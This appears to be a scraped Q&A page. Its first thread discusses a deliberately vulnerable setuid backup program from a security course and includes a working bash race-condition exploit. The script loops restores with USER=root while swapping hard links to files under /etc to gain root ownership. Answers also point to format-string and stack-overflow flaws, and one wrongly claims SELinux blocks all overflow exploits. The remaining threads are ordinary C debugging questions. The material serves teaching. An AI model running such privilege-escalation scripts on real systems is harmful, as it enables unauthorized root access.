Exploit a backup program using C - c

I'm doing an assignment of a security course that asks me to find 4 vulnerabilities of a backup program (setuid) and use each of them to gain root access (on a virtual linux machine with old version of gcc etc.).
There should be one of buffer overflow and one of format string.
Could anyone help me to point out where the 4 vulnerabilities are?
I think the buffer overflow can happened in copyFile().
The following is the code for backup.c: (which can be invoked in "backup backup foo" or "backup restore foo")
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/wait.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#define CMD_BACKUP 0
#define CMD_RESTORE 1
#define BACKUP_DIRECTORY "/usr/share/backup"
#define FORBIDDEN_DIRECTORY "/etc"
static
int copyFile(char* src, char* dst)
{
char buffer[3072]; /* 3K ought to be enough for anyone*/
unsigned int i, len;
FILE *source, *dest;
int c;
source = fopen(src, "r");
if (source == NULL) {
fprintf(stderr, "Failed to open source file\n");
return -1;
}
i = 0;
c = fgetc(source);
while (c != EOF) {
buffer[i] = (unsigned char) c;
c = fgetc(source);
i++;
}
len = i;
fclose(source);
dest = fopen(dst, "w");
if (dest == NULL) {
fprintf(stderr, "Failed to open destination file\n");
return -1;
}
for(i = 0; i < len; i++)
fputc(buffer[i], dest);
fclose(dest);
return 0;
}
static
int restorePermissions(char* target)
{
pid_t pid;
int status;
char *user, *userid, *ptr;
FILE *file;
char buffer[64];
mode_t mode;
// execute "chown" to assign file ownership to user
pid = fork();
// error
if (pid < 0) {
fprintf(stderr, "Fork failed\n");
return -1;
}
// parent
if (pid > 0) {
waitpid(pid, &status, 0);
if (WIFEXITED(status) == 0 || WEXITSTATUS(status) < 0)
return -1;
}
else {
// child
// retrieve username
user = getenv("USER");
// retrieve corresponding userid
file = fopen("/etc/passwd", "r");
if (file == NULL) {
fprintf(stderr, "Failed to open password file\n");
return -1;
}
userid = NULL;
while (!feof(file)) {
if (fgets(buffer, sizeof(buffer), file) != NULL) {
ptr = strtok(buffer, ":");
if (strcmp(ptr, user) == 0) {
strtok(NULL, ":"); // password
userid = strtok(NULL, ":"); // userid
ptr = strtok(NULL, ":"); // group
*ptr = '\0';
break;
}
}
}
if (userid != NULL)
execlp("/bin/chown", "/bin/chown", userid, target, NULL);
// reached only in case of error
return -1;
}
mode = S_IRUSR | S_IWUSR | S_IEXEC;
chmod(target, mode);
return 0;
}
static
void usage(char* parameter)
{
char newline = '\n';
char output[96];
char buffer[96];
snprintf(buffer, sizeof(buffer),
"Usage: %.60s backup|restore pathname%c", parameter, newline);
sprintf(output, buffer);
printf(output);
}
int main(int argc, char* argv[])
{
int cmd;
char *path, *ptr;
char *forbidden = FORBIDDEN_DIRECTORY;
char *src, *dst, *buffer;
struct stat buf;
if (argc != 3) {
usage(argv[0]);
return 1;
}
if (strcmp("backup", argv[1]) == 0) {
cmd = CMD_BACKUP;
}
else if (strcmp("restore", argv[1]) == 0) {
cmd = CMD_RESTORE;
} else {
usage(argv[0]);
return 1;
}
path = argv[2];
// prevent access to forbidden directory
ptr = realpath(path, NULL);
if (ptr != NULL && strstr(ptr, forbidden) == ptr) {
fprintf(stderr, "Not allowed to access target/source %s\n", path);
return 1;
}
// set up paths for copy operation
buffer = malloc(strlen(BACKUP_DIRECTORY) + 1 + strlen(path) + 1);
if (buffer == NULL) {
fprintf(stderr, "Failed to allocate memory\n");
return 1;
}
if (cmd == CMD_BACKUP) {
src = path;
dst = buffer;
strcpy(dst, BACKUP_DIRECTORY);
strcat(dst, "/");
strcat(dst, path);
}
else {
src = buffer;
strcpy(src, BACKUP_DIRECTORY);
strcat(src, "/");
strcat(src, path);
dst = path;
// don't overwrite existing file if we don't own it
if (stat(dst, &buf) == 0 && buf.st_uid != getuid()) {
fprintf(stderr, "Not your file: %s\n", dst);
return 1;
}
}
// perform actual backup/restore operation
if (copyFile(src, dst) < 0)
return 1;
// grant user access to restored file
if (cmd == CMD_RESTORE) {
if (restorePermissions(path) < 0)
return 1;
}
return 0;
}
And something useful:
// one way to invoke backup
//system("/usr/local/bin/backup backup foo");
// another way
args[0] = TARGET; args[1] = "backup";
args[2] = "foo"; args[3] = NULL;
env[0] = NULL;
if (execve(TARGET, args, env) < 0)
fprintf(stderr, "execve failed.\n");
exit(0);

I am not a security expert, but the comment here
char buffer[3072]; /* 3K ought to be enough for anyone*/
is telling :-) So as you have guessed, there is a possibility for buffer overflow here. The buffer is in fact used to read the contents of the input file in. So try it with a file longer than 3K.
Now, since buffer is local, it is allocated on the stack. Thus by overflowing, you can overwrite the contents of the stack, including the return address and local variables within the caller stack frame. This is the theory as far as I know, I can't give you any more practical details though.

The format vulnerability is in usage() - with the sprintf() and printf() taking format strings that are generated from argv[0], which an attacker can manipulate to contain whatever they want.
The main buffer overflow is the one highlighted by Péter Török; when scanning code for security vulnerabilities, any unchecked buffer filling with blatant comments like that is a signpost asking for trouble.
The environment variable USER is used - it could be manipulated by the unscrupulous, but it is debatable whether it would really buy you anything. You could set it to say 'root', and the attempted 'chown' command would user the name it was told to use.
There's a race of sorts between the chown command and the chmod() system call. It isn't immediately clear how you'd exploit that separately from the other issues - but it might give you something to leverage.
Including <sys/types.h> twice is redundant but otherwise harmless. With POSIX 2008, it isn't even needed in most places at all.

You can't exploit buffer-overflows on Linux anymore, since SE-Linux prevents malicious or accidental unintended code execution by aborting the program in question, and by Wand-addresss randomization.
You need to switch off those programms first, but that requires root access in the first place.

Inspired by vulnerability 4 on Jonathan Leffler's answer, here is an exploit for a TOCTOU (race condition in the interval from Time Of Check to Time of Update of a file) between the realpath() check and fopen()
trap 'rm -f my_passwd; kill -TERM 0' INT
function p1()
{
while [[ 1 ]]
do
nice -20 ./backup restore my_passwd
ls -l /etc/passwd /etc/my_passwd my_passwd
done
}
function p2()
{
while [[ 1 ]]
do
rm -f my_passwd; ln /etc/my_passwd my_passwd; sleep .1; rm -f my_passwd
done
}
export USER=root
p1 & p2
Anyway, setting your UMASK to 000 should allow similar exploitation for the chmod() issue.

Also think about whether a string comparison is enough to lock out the forbidden directory. Answer: No, in at least two ways I can think of.

Related

I'm trying to execute read in lines from file in C in a shell environment

I can compile the code, execute it with the file as a command line argument, but nothing happens. The interactive mode function prompts as normal, but not the batchMode function.
I'm trying to read in a line, and then execute that line.
example file
date
ls -la
cd
(Without spacing between lines. I can't get the formatting right on here.)
#include<unistd.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<errno.h>
#define bSize 1000
void driveLoop();
char *userInput(void);
void removeExit(char *original, char *subString); // removes string with substring "exit"
void batchMode(char *c);
int main(int argc, char **argv){
char *fTemp;
if (argc == 1)
driveLoop(); // calls the loop function that accepts input and executes commands.
else if (argc == 2)
batchMode(&argv[1][0]);
return 0;
}
void driveLoop(void){
char *comTokens[100];
char *tempTokens;
char *command;
char *cd;
char *cdDir;
char* cdTemp;
char cdBuf[bSize];
char checkExit[] = "exit";
for (;;){
printf("> ");
command = userInput(); // reads input
if (!*command) // allows for empty string error
break;
char *exitPtr = strstr(command, "exit"); // returns a value to a pointer if substring is found
removeExit(command, "exit");
puts(command); // updates the array after the function filter
int i = 0;
tempTokens = strtok(command, " \t\n"); // tokens are how the computer recognizes shell commands
while (tempTokens && i < 99){ // geeksforgeeks.com
comTokens[i++] = tempTokens;
tempTokens = strtok(NULL, "\t\n");
}
if (strcmp(comTokens[0], "exit") == 0) // exit if input is "exit" only
exit(0);
if(strcmp(comTokens[0], "cd") == 0){ // built in change directory command
cd = getcwd(cdBuf, sizeof(cdBuf));
cdDir = strcat(cd, "/");
cdTemp = strcat(cdDir, comTokens[1]); // cplusplus.com reference
chdir(cdTemp);
continue;
}
comTokens[i] = NULL;
pid_t cFork = fork(); // creates duplicate child process of parent
if (cFork == (pid_t) - 1){ // error check
perror("fork");
}
else if (cFork == 0) { // error codes found on cplusplus.com
execvp(comTokens[0], comTokens);
perror("exec");
}
else { // children are returned. parent executes
int status;
waitpid(cFork, &status, 0);
if (exitPtr != NULL){ // if substring exit was found, exit the program
exit(0);
}
}
}
}
char *userInput(void){ // referenced Linux man page - getline(3) (linux.die.net)
char *input = NULL;
size_t size = 0;
getline(&input, &size, stdin); // updates the size as it goes along
return input;
}
void removeExit(char *original, char *subString){ // removes exit from string
char *ex;
int len = strlen(subString);
while ((ex = strstr(original, subString))){ // Referenced from a Stack Overflow page.
*ex = '\0';
strcat(original, ex+len);
}
}
void batchMode(char *c){
char *tok[100];
char *batchTokens;
char *batchBuffer = NULL;
size_t batchSize = 0;
FILE *fp = fopen(c, "r");
unsigned int line = 1;
char buffer[bSize];
while(fgets(buffer, sizeof(buffer), fp)){
int i = 0;
char *toks = strtok(buffer, "\t\n");
while (toks && i < 99){
tok[i] = malloc (strlen(toks) + 1);
strcpy(tok[i++], toks);
toks = strtok(NULL, " \t\n");
}
tok[i] = NULL;
pid_t bFork = fork();
if (bFork == (pid_t) - 1)
perror("fork");
else if (bFork == 0){
execvp(tok[i], tok);
perror("exec");
}
else {
int status;
waitpid(bFork, &status, 0);
}
}
}
side note. This is a re-attempt from a previous question that was locked for inadequate information. I've updated my code and tried to be as detailed as possible.
I'll happily provide anything further to help answer my question.
Thank you all.
edit
I put in a fprintf to verify that it reads the file in, and it does.
First note in your input file, the last command cd isn't a system command, it is a shell built-it, so you would expect it to fail (unless handled specially).
Allocating for each token (tok[i]) as discussed with either strdup (if available) or simply malloc (strlen(toks) + 1); allows you to copy the current token to the block of memory allocated. Now each tok[i] will reference the individual token saved (instead of all pointing to the last token -- due to all being assigned the same pointer)
The biggest logic error in batchMode as your call to execvp with execvp (tok[i], tok); instead of properly providing the file to execute as tok[0]. Be mindful if the file to execute isn't in your PATH, you must provide an absolute path in your input file.
Making the changes, your batchMode could be written as follows (and removing all the unused variables and moving char *tok[100]; within the while loop so it is declared within that scope):
#include <sys/types.h>
#include <sys/wait.h>
...
void batchMode(char *c)
{
char buffer[bSize];
FILE *fp = fopen (c, "r");
if (!fp) {
perror ("fopen-c");
return;
}
while (fgets (buffer, sizeof(buffer), fp)) {
int i = 0;
char *tok[100];
char *toks = strtok(buffer, " \t\n");
while (toks && i < 99){
tok[i] = malloc (strlen(toks) + 1);
strcpy(tok[i++], toks);
toks = strtok(NULL, " \t\n");
}
tok[i] = NULL;
pid_t bFork = fork();
if (bFork == (pid_t) - 1)
perror("fork");
else if (bFork == 0){
execvp (tok[0], tok);
perror("exec");
}
else {
int status;
waitpid(bFork, &status, 0);
}
}
}
Example Input Files
I have two simple input files tested:
$ cat dat/toksfile.txt
echo hello
echo goodbye
$ cat dat/toksfile2.txt
date
ls -al dat/toksfile.txt
cd
Example Use/Output
$ ./bin/shellorbatch dat/toksfile.txt
hello
goodbye
$ ./bin/shellorbatch dat/toksfile2.txt
Tue Feb 4 23:47:00 CST 2020
-rw-r--r-- 1 david david 24 Feb 4 23:24 dat/toksfile.txt
exec: No such file or directory
Look things over and let me know if you have questions:

Writing my own shell in c - free() causing problems

I'm trying to write my own shell, but something is not working with the allocations and free. I reviewed my code over and over, and I cannot understand why my free function is causing me problems... When I don't use it, everything works fine, but when I use it, the code stops working after the second iteration...
I would really appreciate your help...
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <limits.h> //for PATH_MAX - longest path name permited in linux
#include <sys/wait.h>
#include <fcntl.h>
typedef struct{
char **parametersArray; //this array contains the command and the parameters
int size_of_array; //the number of strings in the array
int toFileFlag; //if we wnat to write to file
char *toFile; //name of file to write to
int fromFileFlag;//if we wnat to read from file
char *fromFile; //name of file to read to
}UserInput;
int runInBackground = 0; //is command running in background? if so, runInBackground=1;
//********************************************************************************************************************
//functions list:
UserInput* inputTokenization(char *a); //recieve string of the user input, and returns pointer to struct of UserInput.
void execCommand(UserInput *user_input); //exec the requestd command with the parameters given
void free_All_Allocations(UserInput *userinput);
//*******************************************************************************************************************
int main(int argc, char *argv[])
{
char userInputTxt[LINE_MAX]; //the line the user enters (hopefully command+parameters)
UserInput *u_i;
int i = 0;
while(1)
{
i = 0;
printf("\033[1;35m"); //print in with color (purple)
printf("### "); //### is the prompt I chose
fflush(stdout);
memset(userInputTxt, 0, LINE_MAX); //cleaning array from previous iteration
read(0, userInputTxt, LINE_MAX);
if(strcmp(userInputTxt, "exit\n") == 0) //exit the program if the user enters "exit"
exit(EXIT_SUCCESS);
u_i = inputTokenization(userInputTxt); //parsing the char array userInputTxt
execCommand(u_i);
free_All_Allocations(u_i);
}
}
UserInput* inputTokenization(char *a)
{
int i=0, size;
size = strlen(a);
UserInput *user_input = (UserInput*)malloc(sizeof(UserInput)*1);
if(user_input == NULL)
{
perror("failed to allocate memory");
exit(EXIT_FAILURE);
}
user_input->fromFileFlag = 0;
user_input->toFileFlag = 0;
user_input->size_of_array = 2;
//counting how many token we have
while(i<size)
{
if(a[i] == ' ')
(user_input->size_of_array)++;
if (a[i] != '<' || a[i] != '>' )
break;
i++;
}
printf("%d\n", user_input->size_of_array);
//we don't want to change original array(a), so we'll copy a to tmp and use tmp
char *tmp = (char*)malloc(size+1);
if(tmp == NULL)
{
perror("failed to allocate memory");
exit(EXIT_FAILURE);
}
strncpy(tmp, a, size-1);
//we'll allocate array of arrays. It's size: number of tokens in the original array, even though we might not use all of it-
//some tokens might be name of file to read or write to
user_input->parametersArray = (char**)malloc(user_input->size_of_array);
if(user_input->parametersArray == NULL)
{
perror("failed to allocate memory");
exit(EXIT_FAILURE);
}
i=0;
char* token = strtok(tmp, " ");
user_input->parametersArray[i] = (char*)malloc(strlen(token)+1);
if(user_input->parametersArray[i] == NULL)
{
perror("failed to allocate memory");
exit(EXIT_FAILURE);
}
strcpy(user_input->parametersArray[i], token);
i++;
while(token != NULL)
{
token = strtok(NULL, " ");
if(token !=NULL)
{
if(strcmp(token, "<") != 0 && strcmp(token, ">") !=0 && strcmp(token, "&") != 0)
{
user_input->parametersArray[i] = (char*)malloc(strlen(token)+1);
if(user_input->parametersArray[i] == NULL)
{
perror("failed to allocate memory");
exit(EXIT_FAILURE);
}
strcpy(user_input->parametersArray[i], token);
i++;
continue;
}
if(strcmp(token, "<") == 0)
{
user_input->fromFileFlag = 1;
token = strtok(NULL, " ");
if(token !=NULL)
{
user_input->fromFile = (char*)malloc(strlen(token)+1);
if(user_input->fromFile == NULL)
{
perror("failed to allocate memory");
exit(EXIT_FAILURE);
}
strcpy(user_input->fromFile, token);
}
}
if(strcmp(token, ">") == 0)
{
user_input->toFileFlag = 1;
token = strtok(NULL, " ");
if(token != NULL)
{
user_input->toFile = (char*)malloc(strlen(token)+1);
if(user_input->toFile == NULL)
{
perror("failed to allocate memory");
exit(EXIT_FAILURE);
}
strcpy(user_input->toFile, token);
}
}
if(strcmp(token, "&") == 0)
{
runInBackground = 1;
break;
}
}
}
user_input->parametersArray[i] = NULL;
free(tmp);
return user_input;
}
void execCommand(UserInput *user_input)
{
pid_t pid;
int status;
pid = fork();
if(pid == -1) //fork failed
{
perror("fork() failed");
exit(EXIT_FAILURE);
}
if(pid == 0) //child process
{
if(user_input->fromFileFlag == 1) //if we have file to read from
{
close(0);
if(open(user_input->fromFile, O_RDONLY) == -1)
{
perror("open file to read failed");
exit(EXIT_FAILURE);
}
}
if(user_input->toFileFlag == 1) //if we have file to write to
{
close(1);
if(open(user_input->toFile, O_WRONLY | O_CREAT, 0766) == -1)
{
perror("open file to write failed");
exit(EXIT_FAILURE);
}
}
if(execvp(user_input->parametersArray[0], user_input->parametersArray) == -1)
{
perror("execvp() failed");
exit(EXIT_FAILURE);
}
}
if(runInBackground == 0) //as long as this is the only command to execute,
waitpid(pid, &status, 0); //wait until chile process (execvp) finish. Otherwise, father process go again, and chile process run in background
}
void free_All_Allocations(UserInput *userinput)
{
int i=0;
while(userinput->parametersArray[i] != NULL)
{
free(userinput->parametersArray[i]);
i++;
}
free(userinput->parametersArray);
if(userinput->fromFileFlag == 1)
free(userinput->fromFile);
if(userinput->toFileFlag == 1)
free(userinput->toFile);
free(userinput);
}
I recommend the use of valgrind.
Compile with your code with the flag -ggdb3 and then execute valgrind with your program. It'll show you all the invalid reads and writes during the execution of the program. Not only that, it'll tell you exactly in what line they happen and the corresponding function call trace.
This question is a great starting point if you're a beginner to valgrind.
One problem is that your "counting how many token we have" is wrong. It will exit on the first iteration, because the condition a[i] != '<' || a[i] != '>' will always be true. I think the comparison you want is a[i] == '<' || a[i] == '>', which will exit the loop if either of those characters is found. This will result in user_input->size_of_array being 2 (or 3, if the first character in a is a space). Later, when you actually pull tokens from the string, you write past allocated memory if there are more than two (or possibly three) tokens.
This counting loop itself is flawed, because it counts differently than the loop that actually extracts the tokens. (For example, if a token is "a>b", your counter would stop but the tokenizer loop would treat that as a token and keep going.) It would be better to use the same sort of loop to count the token, using strtok, or better yet use a way to dynamically resize your parameters array so you only need to make one pass and don't need to count. With either loop, multiple adjacent spaces result in an empty token.
But that isn't all. The count being wrong isn't currently an issue because of the next problem: the allocation for user_input->parametersArray uses the wrong size. Since you want user_input->size_of_array elements, you should use
user_input->parametersArray = malloc(user_input->size_of_array * sizeof(char *));
or, to avoid problems with the proper type, you can go with
user_input->parametersArray = malloc(user_input->size_of_array * sizeof(*user_input->parametersArray));
Note that I have removed the cast of the return value from malloc. It is not necessary in C, and can lead to subtle problems if the type used in the cast is not the correct one.
Another problem is the call to strncpy. Since the length of the string is size, the terminating nul character will not be copied. Since you now the buffer is big enough, you should just use strcpy (or strcpy_s if your compiler is new enough to support it).

Replace string in binary file

I am trying to write a *nix program that copies itself and replaces a string inside the binary. The copy process doesn't seem to work though.
Here's the code:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#define BUFSIZE 10
#define FILENAME "token"
void findstring(const char *exe, const char* str)
{
char buf[BUFSIZE];
int line_num = 1;
int i = 0, find_result = 0;
FILE *fp = fopen(exe, "rb");
if(fp == NULL)
exit(-1);
FILE *out = fopen("out", "wb");
if(out == NULL)
exit(-1);
while(fgets(buf, BUFSIZE, fp) != NULL) {
if((strstr(buf, str)))
{
printf("A match found on line: %d\n", line_num);
printf("\n%s\n", buf);
find_result++;
// reverse "token" string in the output
for(i = 0; i< BUFSIZE; i++)
{
if(strstr(&buf[i], "t") != NULL)
buf[i] = 'n';
else if(strstr(&buf[i], "o") != NULL)
buf[i] = 'e';
else if(strstr(&buf[i], "k") != NULL)
buf[i] = 'k';
else if(strstr(&buf[i], "e") != NULL)
buf[i] = 'o';
else if(strstr(&buf[i], "n") != NULL)
buf[i] = 't';
}
}
line_num++;
fputs(buf, out);
}
if(find_result == 0) {
printf("\nSorry, couldn't find a match.\n");
}
fclose(fp);
fclose(out);
}
int main(int argc, char **argv, char **envp)
{
// argv[1] = FILENAME;
char buf[1024];
int fd, rc;
findstring(argv[0], "token");
if(argc == 1) {
printf("\n\n%s [file to read]\n\n", argv[0]);
exit(1);
}
printf("FILENAME macro = %s", FILENAME);
if(strstr(argv[1], "token") != NULL) {
printf("\n\nYou may not access '%s'\n\n", argv[1]);
exit(2);
}
fd = open(argv[1], O_RDONLY);
if(fd == -1) {
printf("\n\nUnable to open %s\n\n", argv[1]);
exit(3);
}
rc = read(fd, buf, sizeof(buf));
if(rc == -1) {
printf("\n\nUnable to read fd %d\n\n", fd);
exit(4);
}
write(1, buf, rc);
return 0;
}
"Token" string should be reversed in the output binary ("nekot"), with the findstring function responsible of performing this task.
It is also worth noting that the number of matches found strictly depends on the BUFSIZE constant.
What is this code missing?
Thanks
consider what this does:
if(strstr(&buf[i], "t") != NULL)
buf[i] = 'n';
This will search the buffer starting at index i, and if the string "t" appears anywhere in the buffer, it will replace the first character with n. So if your buffer has
a string with token inside.
the first iteration of the for loop will change it to
n string with token inside.
as the loop proceeds you'll get
nnnnnnnnnnith token inside.
after 10 iterations and ultimately
nnnnnnnnnnnnnnnekooooooooo.
Other issues:
fgets reads a string up to a newline or up to BUFSIZE-1 characters. There may well be bytes that are equivalent to newline chars.
You're scanning through BUFSIZE bytes regardless of how many bytes you read.
fputs will write up to the first NUL byte. If there are NUL bytes anywhere in your input binary, stuff after the NUL in the buffer will be lost.
The above means you probably want to use fread/fwrite instead of fgets/fputs, and you want to carefully check return values for shot read or writes.
1.
All C style string functions break at first '\0' . So if buf contains null character before Your goal, will be never found.
if((strstr(buf, str))) { ... }
I suggest loop with step one character (byte) coded by hand, or functions from family memXXXXcmp etc
If Your token is over boundaries of two buffers (from two loo[ iterations), no comparison can fount is

system calls read and write in C

I am wondering how to use the system calls read() and write() in C.
I am trying to read in the contents of a pre existing, file within a directory, into a buffer (array) so I can step through the array and determine what type of file was read. I have looked at quite a few different posts on the matter and have not been able to figure out where I am going wrong. I am trying to print out my buffer array at the bottom to make sure it holds the correct contents of a file before stepping though it to determine the file type, but the buffer holds nothing. Any help would be greatly appreciated.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sys/unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#include <time.h>
int main(int argc, char *argv[])
{
char *currentDir = NULL;
DIR *myDir = NULL;
struct dirent *myFile = NULL;
struct stat myStat;
const void *buf [1024];
int count;
int currentFile;
if (strcmp(argv[1], "ls") == 0 && argc < 3)
{
currentDir = getenv("PWD");
myDir = opendir(currentDir);
while ((myFile = readdir(myDir)) != NULL)
{
if (myFile->d_name[0] != '.')
{
puts(myFile->d_name);
//printf("%s\n", myFile->d_name);
}
}
closedir(myDir);
}
if (strcmp(argv[1], "ls") == 0 && strcmp(argv[2], "-t") == 0)
{
currentDir = getenv("PWD");
myDir = opendir(currentDir);
while ((myFile = readdir(myDir)) != NULL)
{
if (myFile->d_name[0] != '.')
{
printf("%s\n", myFile->d_name);
stat (myFile->d_name, &myStat);
printf("Last Accessed:\t%s\n", ctime(&myStat.st_atime));
printf("Last Modified:\t%s\n", ctime(&myStat.st_mtime));
printf("Last Changed:\t%s\n", ctime(&myStat.st_ctime));
}
}
closedir(myDir);
}
if (strcmp(argv[1], "ls") == 0 && strcmp(argv[2], "-f") == 0)
{
currentDir = getenv("PWD");
myDir = opendir(currentDir);
while ((myFile = readdir(myDir)) != NULL)
{
//while (count = read(0, buf, 100) > 0)
//{
//}
//write (1, buf, 100);
//printf ("Buffer Holds:\n %s\n", buf);
if (myFile->d_name[0] != '.')
{
while (count = read(myFile->d_name, buf, 100) > 0)
write (1, buf, count);
printf ("Buffer Holds:\n %s\n", buf);
}
}
}
return 0;
}
You need some more parens here:
while (count = read(myFile->d_name, buf, 100) > 0)
try:
while ((count = read(myFile->d_name, buf, 100)) > 0)
Also, recommend using sizeof:
while ((count = read(myFile->d_name, buf, sizeof(buf))) > 0)
But you've declared buf as an array of pointers:
const void *buf [1024];
which doesn't seem likely to be what you actually want. Are there really pointer values stored in the file? I think you probably meant for buf to be an array of chars:
char buf[1024];
I was able to figure out what was going wrong, I did have to change the buf array to an array of chars, but I had some misconceptions on how read was working. I though that read() was reading bytes from the file and storing it into a temp array, so I thought I needed to use write() to write the information from a temp array into the array that I specified. In actuality, read() read the specified file and stored its contents directly into my char buf [1024] array, so the call to write() was actually overwriting all the information read() had read from the specified file, and stored into the char buf [1024] array.
Thank you all for the reply's, I have only posted on here 1 other time, so I am still trying to figure out how to explain the issues I am encountering with less ambiguity.

C Language- freeing memory after using strtok to build char**

and sorry for the title I couldn't think of a better way to phrase it.
so I have a C assignment working with fork and exec.
I have three programs called ps, echo and history all of them take different arguments. The final program is called shell and it takes in commands from stdin and calls for exec upon taking a proper command.
example:
ps -a
echo Hello World
history 1.txt
once it reads a line and find it's a valid command it makes a child process and calls for exec.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
const int MAX_LINE = 100;
const char *HISTORY = "./history";
const char *PS = "./ps";
const char *ECHO = "./echo";
void call_cmd(int cmd, char *const argv[]);
/* main function */
int main(int argc, char** argv)
{
FILE * out;
char line[MAX_LINE], line_print[MAX_LINE], seps[] = " \n", rm[80];
char *first, *tmp, ** params;
pid_t pid;
int cmd = -1, i = 0,j= 0;
if (argc != 2)
{
printf("Invalid arguments");
return EXIT_FAILURE;
}
out = fopen(argv[1],"w");
if (out == NULL)
{
perror("Couldn't open file to write");
return EXIT_FAILURE;
}
while(fgets(line,sizeof(line),stdin) != NULL)
{
strcpy(line_print,line);
params = (char**) malloc(sizeof(char*));
tmp = strtok(line,seps);
while (tmp != NULL)
{
if(i != 0)
params = (char**) realloc(params,sizeof(char*) * (i + 1));
params[i] = tmp;
j++;
tmp = strtok(NULL,seps);
i++;
}
first = params[0];
if (strcmp("exit",first) == 0)
{
sprintf(rm,"rm %s",argv[1]);
system(rm);
exit(0);
}
if(strcmp("echo",first) == 0)
cmd = 0;
if(strcmp("history",first) == 0)
cmd = 1;
if(strcmp("ps",first) == 0)
cmd = 2;
if(cmd == -1){
perror("\nInvalid Command\n");
}
if(cmd >= 0)
{
fprintf(out,"%s",line_print);
pid = fork();
if (pid == -1)
{
perror("Error Creating Child");
return EXIT_FAILURE;
}
if(pid == 0)
{
call_cmd(cmd,params);
exit(0);
}
}
for (i = 0; i < j ; i++)
free(params[i]);
free(params);
i = j = 0;
cmd = -1;
}
fclose(out);
return EXIT_SUCCESS;
}
void call_cmd(int cmd, char *const argv[])
{
switch(cmd)
{
case 0:
execv(ECHO, argv);
break;
case 1:
execv(HISTORY, argv);
break;
default:
execv(PS, argv);
break;
}
}
that is my code so far, it behaves in a weird way causing segmentation faults,
I'm pretty sure it's because of the way I split the parameters and free them.
example output:
*** Error in `./shell': double free or corruption (out): 0x00007ffe58f1a630 ***
Parent Id: 1928
Aborted (core dumped)
so I keep editing the for loop
for (i = 0; i < j ; i++)
free(params[i]);
all that does is just jump from double free to segmentation faults or I write a command like ps or history and it does nothing, so I must be doing something but I'm truly lost been trying to fix it for two days with, so if you see what I did wrong please point it out.
Thank you.
strtok parses a string in-place so you should not free the individual results. They are portions of the original string. You can use the POSIX function strdup to make copies that can be free'd, and will persist beyond the life of the original buffer contents.
You should add
params[0] = NULL;
right after the initial malloc (or use calloc) otherwise you'll be using an unitialized pointer if the line is empty. Then at the end
free(params);
you don't need to free any of params[i] since those are pointers into the local line[] buffer.

Resources